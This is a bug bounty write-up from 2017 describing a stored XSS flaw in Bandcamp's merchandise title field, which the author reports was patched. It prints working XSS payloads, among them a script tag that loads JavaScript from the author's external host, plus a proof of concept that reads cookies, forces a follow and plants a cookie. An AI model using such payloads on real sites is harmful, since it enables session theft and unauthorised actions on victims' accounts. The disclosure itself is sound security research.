Stored XSS in Bandcamp

2017-06-30

Recently, while my friend Alyssa Herrera and I were collaborating on finding ffmpeg vulnerabilities in bug bounty programs, we came to learn that Bandcamp ran a bug bounty program. If you have never heard of BandCamp, it is essentially a platform that allows artists, fans, and labels to interact, connect, and support each other.

I instantly was curious to see what I could find, so I signed up for an artist account and created a Bandcamp page. The first function I started to test was the Add Music function. This part of the site allows artists to add albums and tracks. I tested for IDOR and XSS, but sadly it wasn't vulnerable to either.

The next function I thought I wanted to test was the Add Merch function. There were 2 main parameters in this function that I wanted to test for XSS in immediately. I wanted to see if either the Item Title or Description accepted / rendered any HTML. I put in a simple XSS payload for both: <svg/onload=confirm(0)>

I saved and published the new "merchandise", and voila: NOTHING happened. It was sanitized and I was bummed that it didn't work. Then I saw the Buy Now button, so I clicked it, which opened a new frame and my XSS fired! They were not correctly sanitizing the Item Title in this frame, thus allowing an attacker to simply insert any HTML or javascript.

I am always reluctant in submitting an XSS with merely alert() because it just shows I was too lazy to actually come up with a cool proof-of-concept. With that in mind, I came up with this POC:

alert('Stored XSS on BandCamp')
alert('Your cookies: ' + document.cookie)
document.getElementById('follow-unfollow').click()
alert('Thanks for the follow :^D')
document.cookie = 'hacker=cdl;path=/;domain=.bandcamp.com'

Then changed the Item Title to <script src=//www.corben.io/bandcamp.js></script> which made the victim follow me and set the cookie "hacker" to "cdl" for bandcamp.com and all subdomains in their browser! Proof of concept video:

Timeline

  • (6/29/2017) Reported XSS to Bandcamp via Email - (6/30/2017) Confirmed, Patched, & Awarded with a $500 bounty!

Thanks for reading,

Corben Leo